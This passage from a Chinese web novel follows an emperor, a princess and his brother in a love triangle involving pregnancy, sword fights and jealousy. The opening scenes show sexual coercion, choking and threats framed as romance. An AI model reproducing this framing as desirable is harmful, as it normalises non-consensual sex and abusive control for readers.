他掌着姜稚月细白的后脖颈,拇指在她的唇角狠狠摩挲了几下,凑近她耳畔低声道: “知道我为什么不让你夜晚来看他么?” 灼热的呼吸落进耳廓,顺着耳朵上薄薄的肌肤急速在身体里流窜。 姜稚月头皮陣阵发麻。 不待她说话,宋砚辞轻笑一声,在她耳边给出了答案。 “因为我在顾及你啊,阿月。” 男人的手指轻车熟路地挑落她的腰帶,姜稚月咬唇,手抵在他的胸膛下意识推拒。 宋砚辞轻笑一声,若有似无地朝床畔看去: “你若不出声,他尚且不知道你我在做什么,你若出声拒绝,宋知凌可是什么都明白了。” 他的语气气定神闲,听在姜稚月耳中却觉得异常刺耳。 她狠狠瞪视着他。 宋砚辞抵在她的耳畔,哄道: “阿月乖,不是要救他么?总是不配合,何时才能怀上朕的孩子?” 姜稚月所有的怨气和抵触,在听到这句话后都偃旗息鼓了。 她无声睨着他。 瞧出她眼底的幽怨,宋砚辞的手顺着衣襟钻入,捏了下,呼吸在她耳畔近乎气音亲昵道: “你选。” 姜稚月一僵。 片刻后。她抵在他胸前的手缓缓落下,咬唇看了他半天,小手指轻轻勾上他的腰带,水光潋滟的眼眸恳求地看向他。 宋砚辞喉结滚出轻笑,一把将她从矮柜上打横抱起,快速出了殿门。 “下次这个时辰还不回我身边,我不介意让他听听你我都做了什么。” 姜稚月聞声,抬眸盯着男人冷硬的下颌骨看了半天,最后实在气不过,在他怀中踢踏着小腿,狠狠拧了把他的手臂。 男人余光扫了眼她的小动作,唇角勾起宠溺的笑意。 低低的笑声回荡在夜风中。 姜稚月心底猛地一颤,一股缠绕多日的复杂情绪再度在心底蔓延开来。 甫一进到内室,宋砚辞便一把将她压在了桌案上,不发一言从背后撞了过来。 姜稚月惊呼出声,背过手去想推他,却被他反钳住了双手。 他的另一只大掌掌心贴着她脆弱的脖颈,虎口卡在下颌上,食指稍一用力迫她抬头,往后看他。 桌案上的笔架,挂着几支大小不一的紫檀狼毫,如同编钟一般乒乒乓乓发出杂乱的响声,正如此刻姜稚月凌乱的心情。 宋砚辞低头,汹涌着慾//望的眼神晦暗不明地看向她。 食指骤然压进她的口中,猛烈地翻搅起来。 姜稚月难受地颦眉,却不知是较劲儿还是什么,两人誰都没有先发出声音来。 突然宋砚辞腮骨鼓了鼓,攥着她脖颈的手猛地一紧。 桌案“吱”的一声移了位,姜稚月的脚后跟猛地抬起,只有左脚的脚尖堪堪撑在地上。 她到底没忍住,哀哀地呼出了声。 眼泪因极致的汹涌而不断滑落,嫣红的双颊挂着晶莹的泪痕,眼波迷离,秀眉似颦非颦。 似乎她这幅模样,才缓解了宋砚辞身上的戾气,他轻柔地将她翻了个身,拖着膝弯抱进了怀里,朝浴室走去。 他走得很慢,眼神专注着姜稚月脸上的每一丝表情。 每走一下,她便仰起头,喉咙做出微小的颤动,似乎想要发出娇稚的音儿,却又卡着发不出声来。 她太娇小了,软乎乎的身子被他坚硬的胸膛箍在胸前,像是轻易就能撑坏折断一般。 宋砚辞视线缓慢下移,聚焦在她红艳的唇瓣上,不假思索地含吮了上去,大舌撬开贝齿挺进。 裙裾随着走动轻晃,翻着泥泞的红肿小嘴不断被迫吞吃。 直到走到浴桶边上时,姜稚月早已神思迷离。 被他陡然放开唇瓣,她一时挺着胸脯急速喘息,忍不住的咳嗽了好几下。 “阿月……” 宋砚辞掐着她的下巴,语气沉冷: “我不想在他面前失控伤你,所以,你要听话。” …… 天气进入炎夏,所有的一切都跟着懒了起来。 姜稚月这日起床就觉得身子懒得不行,春桃将早膳送来的时候,她聞着她手里那碗生滚鱼片粥,忽然胃里一阵翻搅。 她捂着胸口的动作一僵,下意识和春桃对视了一眼。 春桃放下托盘,猛地起身,眼里既惊又喜,磕绊道: “我、我去找常公公!” 宋砚辞来得很快,身后还跟着陆詹。 他身上的龙袍甚至都没来得及换,一贯体温偏冷的男人,此刻额上竟渗出了细密的薄汗。 “陆詹!” 他站在床边,甚至有些不敢靠近姜稚月,眼神一瞬不瞬地盯着她,唤到。 陆詹闻声上前,将一块儿白帕搭在姜稚月的腕上,略一凝息,点头道: “是喜脉。” 姜稚月只觉得一阵天旋地转,对上所有人欣喜的目光,她也应景地提了提唇角,但到底没能开心起来。 这个孩子…… 她的视线落在自己的腹部。 这个孩子是她和宋砚辞的,名不正、言不顺。 但这个孩子的到来,又能救宋知凌的命。 姜稚月甚至不知道她此刻该是用一种什么样的心情,来迎接她腹中这个小生命。 屋中的人不知何时,都已经悄无声息地退了下去。 宋砚辞坐在床边,放轻了动作拥住她。 姜稚月下意识挣扎,不知为何,在知道自己怀了他的孩子后,对于他的触碰她就异常难以接受。 宋砚辞一怔,怕伤到她,退至一旁。 良久,低低唤了声: “阿月。” 他从没这般卑微地换过她。 姜稚月眨了眨眼,抬头看他。 男人身上的龙袍衬得他颇为威仪,清隽英俊的五官也染上了身居高位者的矜贵和从容。 然而在她看过来的时候,在朝堂上朱笔一批便抄了楚国公满门的男人,眼中闪过一抹前所未有的慌乱和脆弱。 瞧见他这幅样子,姜稚月的心像是被谁攥了一下般,鼻尖跟着发酸。 宋砚辞蹲下身。 “阿月,还记得那年上元节么?” 那年上元节,姜稚月第一次借着酒意跟宋砚辞表白。 但她那时候太胆小了,即便喝了酒,也不敢明目张胆地对他坦露心迹。 她怕说出来,跟他连朋友都没法做。 她只是故意一手拉着宋知凌,一手拉着宋砚辞,佯装随意道: “我们三人今日就说定了!今后永远在一起,谁都不许背叛谁!我们要在一起潇潇洒洒一辈子!” 说完,她还遮掩般打了个酒嗝儿。 借着打嗝儿的功夫,她偷偷朝宋砚辞看去,却在满街重重灯火中,对上男人含笑的星眸。 好像她的所有小心思,都没逃过他的眼睛一般。 她的心猛地一跳,飞快移开视线,仓皇扯着宋知凌去一旁喝酒去了。 姜稚月本以为宋砚辞说这些,是想借着回忆会对她说些什么,比如我们说过永远在一起,比如我们不仅在一起,还有了属于我们的孩子。 但他什么都没说。 他只是静静看了她一会儿,温声问道: “饿了么?方才的粥没喝,我让人去弄点别的来,想吃什么?” 姜稚月咬着唇,摇了摇头。 半晌,她似是下定了某种决心,抬眸直视着他的眼睛: “我要离开。” 话音甫落,宋砚辞的神色陡然一变,似是想说什么,最后又隐忍着克制了下来。 姜稚月咽了咽口水,继续说: “我知道你在郊外有一处宅子,我要去那里养胎。”” 呵……” 姜稚月的话音刚落,宋砚辞没忍住笑出了声。 他眼底的柔情渐渐落了下去,取而代之的是一抹压抑不住的阴郁之色。 男人勾了勾唇角,食指抬起她的下巴,挑眉: “所以,你是打算过河拆桥了是么姜稚月?” 第67章 第67章宋知凌 姜稚月一愣,旋即皱起了眉,也来了脾气,怒道: “什么叫我过河拆桥?!” 她一把挥开他的手。 也不知是突然得知懷孕这件事令她难以接受,还是懷孕后情绪容易激动,总之她起身瞪着宋硯辭,不悦道: “当初我只答应懷上你的孩子救云笙,如今我孩子也懷上了,想出宫去养胎,有什么错?!” 宋硯辭皱眉,“所以你从始至终只将我当做怀孕的工具?” “那不然呢?” 姜稚月脸上飞快地閃过一抹心虚,故意拔高了声调: “你我之间的关系,本就是为了救云笙,不然你还以为会怎么样?我一辈子被你困在这宫里?看你稳坐皇位,看你日后三宫六院么?” 宋硯辭被她气笑了,到底没忍住上前掐住她的下巴: “你就是这么想我的姜稚月?!你不觉得自己太天真了么?” “什么意思?” 姜稚月吃痛,但他攥得太疼,她又没法从他手中挣脱。 “什么意思?” 宋硯辭眯了眯眸,轻笑,手落在她腹部的同时,语气带着几分偏执的冷: “你这里,怀了我的骨肉,你以为你我之间就能这般轻易了断?!你以为你用完了我,说丢下就能丢下?!姜稚月……你未免太天真了些。” “宋砚辞!你别得寸进尺!生孩子救宋知凌只是权宜之计,你不要妄想用孩子来圈住我!” 只要她一心想走,宣哥儿圈不住她,她与宋砚辞的孩子更不可能。 姜稚月鼻尖通紅,胸腔起伏,下巴上被他掐出的紅痕突兀地印在雪白的肌肤上。 她瞪了他半晌,抬手狠狠用手背擦了擦下巴上被他掐过的地方。 见他还要再来碰她,姜稚月皱了皱眉飞快多开,胸口没来由一窒,胃里翻搅着忍不住弯下身子剧烈干呕了起来。 宋砚辞的手猛地顿在空中。 他盯着她反应剧烈的模样,良久,腮骨重重鼓了鼓,攥紧掌心收回了手。 “你既然想要去别莊,就去吧。” 他别开視線,喉结几经滑滾,哑声道: “现在便走,趁我反悔前。” 上次临产时,姜稚月被他母妃所刺激而险些难产的画面还历历在目。 她腹中怀的,不仅是救宋知凌的唯一机会,更是她与他的血脉。 宋砚辞实在赌不起。 姜稚月似是没想到宋砚辞会这般干脆地答应她的要求。 原本她还以为,今日这般争执之后,他又会像之前那样将自己囚//禁起来,她甚至做好了以死相逼的准备。 见她看过来的眼神中满是诧异,宋砚辞自嘲地笑出了声: “是觉得我没这么好心?还是觉得我轻易放你走是没安好心?” “姜稚月——” 宋砚辞眼帘低垂,唇角极轻地扯了扯: “你……” 他顿了一下,剩下的话在喉咙里盘旋了一圈又被重新咽了下去。 他想问她,就从未想过他的好么?- 姜稚月在当天就住进了宋砚辞在京郊的别莊。 宋砚辞并未亲自送她。 姜稚月想起自己临走时,他看她的眼神,心中莫名有些难过。 但她实在不能再在皇宫里待下去,如今她怀上宋砚辞的孩子,而那个寝殿隔壁,就是宋知凌。 每每一想到这些,她就窒息得难受。 她甚至都怀疑过,自己是否会被困死在那座四四方方的牢笼里。 而唯一让姜稚月感到惊喜的,是来到别庄的那日,她一下马车就意外发现锦葵和琉璃竟然已经早早在这里等着了。 姜稚月细问下去才知道,打从逃跑被抓那日,宋砚辞一直将她两人安顿在这里。 她闻言抿了抿唇,没说话。 出了皇宫后,别庄里的每一日都是自由的。 除了陆詹偶尔会来给她把脉,调整药方以外,宋砚辞自己一次都没来过。 姜稚月在别庄的心情也慢慢好了起来。 转眼就到了深秋,她的身孕也有了四个多月。 “其实……三殿下他对公主也很好。” 锦葵瞧了眼姜稚月已经隆起的小腹,替她拿了架子上的披风披上,扶着她出去: “而且公主从前也是喜歡三殿下的不是么?” 姜稚月忍不住笑了,在她手背上戳了一下: “难不成四殿下就不好么?” “啊?” 锦葵被她问得一愣,支支吾吾涨红了脸。 “我知道你是为我好,但是如今这样,我跟他们二人中的谁在一起,都会觉得尴尬。” 姜稚月叹了口气。 许是这几个月,远离那两个人,反倒让她有机会清醒地认识到自己内心深处的想法。 她承认,在她心里装了两个人。 可人怎么能同时喜歡两个人呢。 石嬷嬷曾经说过的话又不受控制地浮现在脑海,但宋知凌不是驸马,宋砚辞也不可能是她养的面首。 更何况,即便他们愿意,她又该如何面对三个人的生活。 姜稚月忍不住再度叹了口气,不愿再想下去。 锦葵看出她的纠结,笑着转移话题: “听说花园里的木芙蓉这两日开得正好,奴婢陪您去看看吧?待会儿琉璃买回来了乳酿鱼,直接让她端来花园!奴婢可是好不容易才找到一家餐馆,做出来的乳酿鱼能跟二公主府上的一较高下,到时公主尝尝,若是喜欢了,奴婢时常给您出去买!” 一听乳酿鱼,姜稚月的心情也跟着好了许多,顺着她的话笑道: “好呀!下次最好再问问,二姐姐府上那桃花酥,她可会做。” 姜稚月一笑起来,眉眼弯弯的,原本清澈娇稚的眉目间有了几分成熟的妩媚,映着湖边照过来的橙黄色夕阳,竟一时让锦葵看呆了眼。 直到姜稚月在她腰上挠了一下,她才猛然回过神,忍不住感叹道: “公主可真美。” 姜稚月抿唇,佯装生气地打她: “就你话多!” 主仆二人笑闹着一道进了花园。 然而才刚踏上八角亭的台阶,锦葵的脚步就僵在了原地。 湖面掀起波澜,一阵冷风裹挟着湿意瞬间涌入八角亭中。 姜稚月顺着她的視線看过去,唇角的笑意倏然落了下来,警惕地后退了半步: “你来做什么?” 她已经几个月都没见过他了,如今猝不及防地瞧见,心中竟立时间掀起了波澜。 亭中男人一身月白色明黄滾边刺绣常服,面如冠玉,清隽温雅,只是往这简陋的亭子里一站,便仿佛耀眼得周围的一切都失了色彩。 宋砚辞定定看了姜稚月和她微鼓的小腹看了良久,待到眸中所有翻涌的情绪渐渐回落,眼都未抬对锦葵道: “下去吧。” 锦葵显然面对宋砚辞的时候有些发怵,姜稚月看了她一眼,笑道: “想必陛下有话要跟我单独说,你先下去吧。” “可……” 姜稚月拍了拍她的手背以作安抚。 锦葵略一犹豫,还是壮着胆子对宋砚辞说了句:“公主尚未用晚膳,琉璃去买了公主喜欢吃的来,陛下要说什么还是尽快!” 她刚说完,宋砚辞喉结一滚轻笑了声: “知道了。” 锦葵不放心地又看了姜稚月一眼,这才慢吞吞走出了亭子。 直到锦葵走出去老远,姜稚月唇边勉强挂着的笑意才落了下来,语气淡淡道: “你来做什么?” 宋砚辞款步朝姜稚月靠近了几步,低头睨着她,视线最后落在她微隆的小腹上,眸光閃了闪: “我来看看我的骨肉,不能么?” 他的语气很哑,带着一股说不明的情绪,似是压抑,又似是愉悦。 姜稚月紧张地往后退,不出两步,脚尖和脊背便不小心抵在了亭中的柱子上退无可退。 “你喝酒了?” 淡淡的酒气萦绕鼻尖,她眉心紧皱,借着夕阳的余晖看到宋砚辞脸颊上一抹不易察觉的红。 在姜稚月的印象中,宋砚辞很少饮酒。 他从来都很自律,也只允许自己保持绝对的情形,若非是心情不好的时候,或者是与她在一起的时候,其余时候几乎很少饮酒。 而近日他满身酒气的突然出现在这里,这种反常令姜稚月心里直打鼓。 宋砚辞低低“嗯”了一声,语气温柔: “我先陪你吃饭。” “不用了!” 姜稚月陡然提高声量,又似觉得突兀般,轻咳一声掩饰,继续追问: “你有什么事直接说,说完我再回去吃。” 宋砚辞定定看了她半天,低低开口: “跟我回去。” 姜稚月一愣,“什么?” “我是说,跟我回去,皇后的册封大典礼部已经在着手准备,再过几月你身子重,便不宜再过劳累……” “宋砚辞你发什么疯!” 姜稚月打断他的话。 这几个月的平和让她都险些忘了,这个男人从来就没打算放过她! 有些事情终归是有被挑破的一天。 就像冬日里冰封的湖面,其实内里早就已经暗流涌动。 宋砚辞的这句话,就像是一块儿巨石砸开了湖面上的冰,暗潮瞬间喷涌上来。 姜稚月一颗平静了几个月的心又急速狂跳起来,余光在四下里看了看,正打算转身逃跑,对面的男人却快她一步,攥住她的手腕,猛地将人按进了怀里。 “宋砚辞你放开我!” 好似压抑的情绪在一瞬间爆裂开来,姜稚月像是一条被骤然放在砧板上的鱼,拼命在他怀里挣扎起来。 “我曾是宋知凌的妻子!你就是杀了我,我也不可能做你的皇后!” 宋砚辞滚烫的呼吸带着酒意,在她唇上狠狠咬了一下: “我早就纵容了你几个月!姜稚月,你就这般愿意为宋知凌守身?你心心念念着就只有你曾是宋知凌的妻子?你——” 宋砚辞的话未说完,箍着她的动作忽然一顿。 姜稚月瞧见他黯沉的眸光中有杀意一闪而过,在她还未反应过来的时候猛地抬手。 夜色逐渐包笼了过来,借着最后一丝暗沉的天色,姜稚月的余光中看到一道银光一闪,紧接着“当”的一声,不远处的身后传来金属撞击的脆响。 亭中的挣扎在一瞬间静止,安静得针落可闻。 姜稚月的心猛地揪起,在下一瞬间,看到亭外的小路上出现一个高大的男人身影。 最后一丝夕阳也沉了下去,四周陷入一片黑暗,只有湖那边的小径上燃起了一排明晃晃的灯。 幽暗的光线下,男人的身影被隐隐勾勒出来。 姜稚月只觉得自己的心跳声不住地狠狠砸进耳中,所有的一切都消失了,只有那张渐渐出现在眼前,越来越清晰的脸。 ——宋知凌。 她双唇张了张,近乎嗫嚅地唤出这个名字。 宋知凌亦盯着她,眼里似乎再看不到一丝旁的。 他的视线贪婪地在她脸上流连了许久,直到站到了亭子中,他的目光才缓慢下移,落到了她红裙遮掩下,微微隆起的小腹上。 第68章 第68章恨不得致对方于死地的狠…… 薑稚月的身子陡然一抖,下意识拉了拉裙摆,想将自己的小腹藏起来。 然而她才攥上裙子,手腕便被宋硯辭拉过去。 他強硬地将自己的五指插进她的五指间,轉身朝着宋知凌的方向,嗤笑: “云笙刚醒,不好好在宫里躺着养伤,来看你嫂嫂和她腹中的小侄儿么?” “去你的嫂嫂!!!宋硯辭你不是人!!!” 宋知凌几乎将那几个字咬碎在牙齿间,喉咙和口腔里满是血腥气。 他挥动手中的长剑,毫不犹豫地朝着宋硯辭刺去。 利刃像一条银蛇,带出锋利的剑气,几乎每一剑都直衝宋硯辭的要害,带着势必将人置于死地的决心。 夜晚的寒风涌了起来。 冷风直往亭中猛灌,掀起凋零干枯的树叶疯狂打轉。 宋砚辞躲了几下,神色彻底冷了下来,低声唤了句“褚屹”。 一道黑影从黑暗中窜出,挡在了宋知凌面前,语气似有不忍,却还是严肃道: “四殿下如今身子孱弱,陆詹说过您不易动武。” “褚屹哥你给我起开!今天我一定要杀了他!!!” 宋知凌眼神狠戾,挥刀的动作更加迅猛。 薑稚月渐渐从巨大的意外中回过神来,视线掃过宋知凌唇角溢出的鲜血,她双眸刹那睁大,一把攥住宋砚辞的手臂: “停手!!讓褚屹停手!!” 宋砚辞斜睨了她一眼,眼神冷得不近人情: “阿月,现在是宋知凌要杀我,褚屹一停手,宋知凌手中的剑就会刺穿我的胸膛,你确定,讓他停手么?” 风停了一瞬,下闸逼仄的八角亭中回响着薑稚月剧烈的心跳声。 两个男人灼烈的目光同时落在她身上。 良久,薑稚月哀哀地看向宋砚辞,眼泪不住滚落,近乎哀求道: “求你……停手。” “呵!” 宋砚辞喉结中滚出一抹自嘲的嗤笑,他猛地掐住姜稚月的脸颊,居高临下看了她半天,冷声道: “褚屹,让暗卫把宋知凌给我捆了!” “不要!唔!” 姜稚月陡然瞪大眼睛,双唇被宋砚辞毫不留情地含住。 一人之隔的宋知凌愣了一下,随即爆发出几乎狂怒的吼声: “宋砚辞你找死!放开她!” 冷戾的剑声在耳畔凌乱地响着,姜稚月的口腔被宋砚辞报复般占有,吻得她喘不上气来。 血腥味逐渐在空气中蔓延。 所有的一切都失控了,偏执的掠夺和恼恨肆意疯长,像一场兵荒马乱的梦一般。 突然,旁邊猛地传来一声极大的动静,紧接着褚屹喊了声“陛下!” 姜稚月感觉箍着自己的男人身子一僵,旋即松开了他。 他粗喘着擦掉唇角的血渍,回身抽出褚屹腰间的匕首举刀便挡住了宋知凌劈下来的剑。 宋砚辞格挡的时候背对着姜稚月,她能清晰看到他身后一道从左肩到右腰的血印子。 那道鲜血淋漓的血痕张牙舞爪地砸进姜稚月眼底。 她陡然瞪大眼睛。 “别打了!!” 姜稚月追上去,想要拉扯宋知凌的手臂: “云笙!别打了!他流血……啊!” 宋知凌正怒气衝冠,全然顾不得其他了,一刀刺向宋砚辞的同时,手臂一挥。 当他听到姜稚月的呼声反应过来的时候,一回头,姜稚月已经倒在了桌子旁双手捂着小腹,而在她的裙子下,缓慢地渗出了一滩血迹。 “阿月!” 宋知凌的脸都吓白了,一把丢了剑扑上去。 宋砚辞却先他一步将姜稚月打横抱了起来,他冷冷掃了他一眼,回头对褚屹沉声道: “以最快的速度将陆詹带来。” 说罢,再不看宋知凌一眼,抱着姜稚月就往回走。 陆詹来得很快,到的时候,宋砚辞刚将姜稚月额间的汗水擦拭干净。 宋砚辞看了眼床上小脸煞白的姑娘,喉咙间哽咽,压低了语气对陆詹道: “救她,保住孩子。” “求你。” 陆詹脚步一顿,一贯板着的一张脸第一次浮现出诧异的表情,想了想,回了他一句“放心”。 而他的反应,就连宋知凌都忍不住多看了他两眼。 宋砚辞冷睨着宋知凌,宋知凌被他看得颇为不自在,捏了捏指腹坐回了旁邊。 宋砚辞也懒得再看他,坐到了他另一边,两人自顾喝着茶,谁都没说话。 直到陆詹号了脉,开了药方,常乐将药煎来,两人才有了动静。 宋砚辞起身去接药,不料却被宋知凌一把抢了先。 他皱眉回头,宋知凌亦不甘地瞪回去。 宋砚辞狠狠攥紧掌心,手臂上青筋鼓了又鼓,最后到底思虑着姜稚月等不得,強忍住一拳招呼在宋知凌脸上的冲动,退后一步让了路。 宋知凌急慌慌走到床边,一开口眼圈就红了。 “阿月……” 男人的胸膛很烫,说话时轻轻颤动,曾经熟悉的感觉忽然而知。 姜稚月对他扯了扯苍白的唇角,勉强笑 道: “你醒来就太好了!” 宋知凌深吸了一下鼻尖,轻轻将姜稚月扶起来靠在自己肩上,语气是从未有过的温柔和小心翼翼: “我喂你喝药。” 姜稚月很乖,窝在宋知凌怀中,他喂一口,她就喝一口,小脸因为药汁的苦微微皱成了一团也没说什么。 尽管她竭力忽视,可床畔另一道男人的目光却强势得令人难以忽略。 好不容易一碗药喝完,眼前突然伸过来一只修长的手。 姜稚月盯着那只手上的蜜餞瞧了半天,小小的摇了摇头,“已经不苦了。” 男人的手一顿,半晌,攥着蜜餞收了回去。 宋知凌瞧了眼宋砚辞手中攥成稀烂的蜜饯,“啧”了一声,才要出声嘲讽,怀里的小姑娘又开了口: “我累了。” 宋知凌一哽,立刻收敛了所有戾气,乖乖“哦”了一声,语气温顺得像只摇着尾巴的毛茸茸大狗: “那我去隔壁守着,你安心休息。” “你先出去吧,我有话和……他说。” 姜稚月的眼神扫向床边的宋砚辞。 宋知凌扶着姜稚月躺下的动作一顿,脸色立刻黑了一大截儿,忍了忍,到底没忍住,幽怨开口: “我刚死里逃生地醒来,阿月就没什么想跟我单独说么?你……” 他的话说到一半,对上床上少女湿漉漉软绵绵的澄澈眼眸,未说完的话忽然就卡住了。 宋知凌讪讪地摸了摸鼻尖,从床畔站起,语气又小心又温柔: “那我去隔壁。” 说完,转身在姜稚月看不到地间隙,用近乎能杀人的眼神狠狠威胁了宋砚辞一眼。 房门关上,屋中彻底安静下来。 姜稚月仰着小脸和宋砚辞对视了半晌,冷冷开口: “我要打掉孩子。” 宋砚辞瞳孔骤缩,眉心紧紧拧在一起,单膝跪在床边,试图去拉姜稚月的手。 “阿月……” 他的嗓音沙哑干涩,语气近乎恳求。 姜稚月先一步躲开他的触碰,眼底的厌恶和失望都快溢了出来。 “陆詹从前说的话,是骗我的对不对?” “没有!” 宋砚辞不等她说完,立刻解释道: “他说的话是真的,宋知凌确实需要脐带血做药引!只是如今他提前醒来,这件事陆詹自己也说不清楚,他……” “那我现在这算什么?!” 宋砚辞没说完,姜稚月先崩溃了,撑着身子起来,作势就要去捶自己隆起的小腹,哀哀哭道: “我这算什么?!和你苟且的证据么?!” “阿月!” 宋砚辞一把将她的手攥进掌心,听她说出的那句话,眸底染上痛苦之色,近乎卑微地乞求道: “别伤害自己,是我,都是我的错,是我强迫于你,一切都与你无关,只求你别伤害自己。” 他知道宋知凌突然醒来这件事对姜稚月的打击有多大。 就好像从前那些溃烂的伤口,如今被重新翻出来,却发现早已腐烂生蛆,不堪回首。 姜稚月冷冷看了他半天,将手从他手中抽出来: “你走吧,明日让人将打胎药送来,否则我就自己动手了。” 宋知凌一直在隔壁坐立难安地来回踱步,一见宋砚辞进来立刻追了过去: “她对你说什么了?” 宋砚辞神色隐隐灰败,冷睨了他一眼,并未搭理,转而问陆詹: “她身体如何?” 陆詹从方才宋砚辞说那句“求你”的时候,神色就没从前那般冷硬了,听他问他,他略一沉吟,尽可能委婉道: “需要静养,生产前都不能受到刺激,否则再有下次,永远不能生育是小,怕是还会有性命之虞。” 宋砚辞的腮骨猛地楞起: “所以说,她的这胎必须保下来是么?” 陆詹颔首: “是。” “宋砚辞你都是怎么养得她?!” 宋知凌一听,立刻炸了毛,嗓音忽的一抬高又意识到姜稚月还在隔壁,生生压了下去: “你怎么养得她?害得她如今稍不注意就会有性命之虞?!” 宋砚辞抬眼扫了他一眼: “当初生宋既宣时落下的病根儿。” 宋知凌猛地一滞,凶神恶煞的语气卡在喉咙里再发不出来声音。 宋砚辞对陆詹交代: “此处劳烦你照看。” 说完,看都不看宋知凌一眼,率先出了房门。 宋知凌瞧着他走出去的背影,握了握拳,也抬脚跟了上去。 两人来到方才那个八角亭中。 刚一站定,宋砚辞猛地回身一把扯住宋知凌的衣襟,宋知凌亦是同一时间扯住了他的。 两人一同出手,那一拳像是倾注了所有的怒意,用了十成十的力气悔在对方脸上。 “砰”的一声,两人都被对方那一拳狠砸地退后了好几步,扶着柱子才堪堪稳住身形。 同样玉树临风、光彩夺目的两个高大男人,此刻眼中却不约而同有种恨不得致对方于死地的狠戾。 宋砚辞面不改色,语气冷得像是冬日檐上的冰凌: “你可知你的突然出现,让阿月要承受多少心里上的痛苦?!” 宋知凌蹭了蹭唇角的血迹,舌尖顶了顶腮,冷笑: “那你又做了什么?!强迫她!威逼利诱!我昏迷的那些事情,你以为我听不到是么?!她腹中的这个孩子怎么来的,你比我更清楚!” 宋知凌抽出腰间的匕首,刀尖直直指着宋砚辞: “宋砚辞!你辱我妻子,此事在今日我定叫你付出代价!” 第69章 第69章含住了她颤抖的唇。…… “那你杀了我。” 宋硯辭亦冷嗤一声,语气分外平静。 宋知凌的眸光掀起波澜,舔了舔齿面,语气逞强: “你别以为我不敢。” 宋硯辭不语,只是壓着眼帘神色平静地盯着他。 宋知凌皱眉,攥紧拳头对着他的目光跃跃欲试。 两人谁都没有动手。 “宋知凌,你还要胡闹到什么时候?” 过了片刻,宋硯辭终于没了耐心。 他上前一步,一把夺过他的匕首随手一掷。 “当”的一声匕首深深扎进身侧的柱子上,发出尖锐的颤音,他冷声道: “如今你还想不明白么?你当初任性害大皇子的人包围过来,若非我提前布局,莫说是你,便是我和阿月都脱不了险。” 宋知凌皱眉:“你……” 宋硯辭打断他: “再者你昨日醒来我同你说过什么?!你今日非要追踪我来,你完全不顾阿月猝不及防见到你会如何自处!” “那你呢?!你又能护得住她什么?!你亦是不顾她的意愿强要了她,又有什么资格来说我?!” 宋知凌越想越气,又忍不住想动手,对上宋砚辞 的目光,忍了忍又强迫自己忍了下来。 他深知如今说这些亦是无用,只能出言讽刺: “那么请问高高在上的宋国陛下,如今这局面,你是能给阿月皇后的位置,还是承诺此生只她一人?!况且,她是我的妻……” “曾经。” 宋砚辞云淡风轻地纠正他。 宋知凌气急,到底忍不住还是一拳揮了上去。 宋砚辞抬手用力攥住他的拳头,重重将人推开,宋知凌稳住身形又揮拳上来。 两人又赤手空拳地打在了一起。 宋知凌到底昏迷刚醒,身子虚弱,狠狠照着宋砚辞的臉砸了几下后,就被宋砚辞一拳挥倒在地。 宋砚辞壓在他身上,骤然举高拳头,盯着他的目光,一顿,重重砸了一拳在宋知凌臉旁的地面上。 宋知凌咬了咬牙,猛地将宋砚辞掀开,对着他的胳膊就死命咬了一口。 “宋知凌你属狗的吗?!” 宋砚辞眉心紧促,一把揭开自己的袖子,冷白色皮肤上一个泛着血迹的压印赫然出现在眼前。 宋知凌喘着粗气瞥过视线。 他实在是气急了。 那和离书是当初他“身死”时宋砚辞作为兄长代他签的,按说如今他活着,那和离书就不算数,阿月依旧是他的妻子。 然而气就气在,宋砚辞提前拿了这份和离书去礼部备了案,又派使臣指挥了薑国陛下。 如今两国皇室的玉牒中,都没有了这份記录。 他和阿月是彻彻底底的没关系了。 一想到宫里那个嗷嗷待哺的自己的儿子,宋知凌心里难过得直冒酸意。 他语气不善: “即便是曾经,但阿月也不可能与你有什么,你就这么笃定她会跟你回宫?!” 亭外的檐下挂着一盏橘黄色的宫灯,风一吹,地上圆形的光晕轻晃。 沉默了良久,宋砚辞定定看着宋知凌,语气晦暗不明: “过几日,我会送她和你离开。” “你……” 宋知凌猛地抬头。 宋砚辞的眸光隐在暗处,令人看不真切。 宋知凌皱了皱眉,“你又要耍什么手段?” 宋砚辞想起方才房间里,薑稚月眼底的厌恶和想要打掉孩子的决绝,自嘲地扯了扯唇角。 “我可以放你们离开,条件是阿月必须好好生下这个孩子,宋知凌,你去,还是不去?” 其实他不怕宋知凌不答应。 陆詹方才说过的话他也听到了,阿月如今经不起折腾。 果然,宋知凌警惕探究地看了他几眼,最后一咬牙: “去。” “禹州地处东南,距离薑国也近,那里的风土人情同薑国最为相似,我会封你为禹州王,过几日阿月身子好了你便带着她去就番吧。” 宋砚辞说完,直接攥到青白,良久,接着道: “今夜,你便留下来,好好开导她。” 宋知凌此刻可完全没有跟宋砚辞客气的意思。 即便他不说,今夜他也是会留下来的。 他瞧着宋砚辞往出府的方向走去,自己哼了一声,擦了擦脸上的血渍,朝着姜稚月的房间里快步走去。 姜稚月此刻喝了药,已经好了许多,靠在床邊看着不知从哪儿翻出来的一本书。 小姑娘柔顺的乌发披散在脑后,趁着小脸越发娇俏,靠在那里静静看书的样子乖得不像话。 见他进来,她似乎一点儿也不意外。 只是朝宋知凌身后看了一眼,问: “他走了?” “嗯。” 宋知凌走上前来,坐到床邊,静静看着她。 姜稚月被他看得有几分窘迫,“啪”的一声将书叩在自己脸上,只留下一双滴溜溜的眼睛,声音在书页中闷闷的: “你、你能不能不这般看着我了。” 宋知凌如梦初醒般回过神来,摸了摸鼻尖,眼神打了几转儿,犹豫地朝她伸出手,将人拥进了懷里。 “阿月,怪我没有保护好你。” 宋知凌的嗓音一瞬间就变得哽咽。 宋砚辞说的没错,很多事情都是因他的鲁莽而造成的,其实他心里也很乱,如今这幅局面,他们三人该如何收场。 他吻了吻小姑娘的发,语气极尽温柔,缱绻得仿佛都不是他了一般: “阿月,孩子生下来好不好?你懷既宣的时候我没有陪在你身边,这个孩子……让我好好伺候你。” 宋知凌不敢明说她的身体不适宜打胎,只能这般诱哄着她。 许是姜稚月对于宋知凌有一份全心全意地依赖,原本想要打掉这个孩子的念头,在宋知凌一句一句的安抚中,渐渐消了下去。 她抿了抿唇,墜着泪珠的纤长眼睫轻轻煽动,良久,她抬眸看向他,低低唤了声: “小凌子。” 宋知凌的喉结猛地一滚,一瞬不瞬地盯着她的眼睛,缓缓靠近,轻轻地小心翼翼地含住了她颤抖的唇。 小姑娘的唇还是同記忆力那般,又甜又糯。 太想了。 他日思夜想的姑娘。 墜崖被救下后,生不如死的每一日,他都是靠着与她的回忆,靠着一定要活着回来找她们娘儿俩的意念,撑到被宋砚辞的人找到。 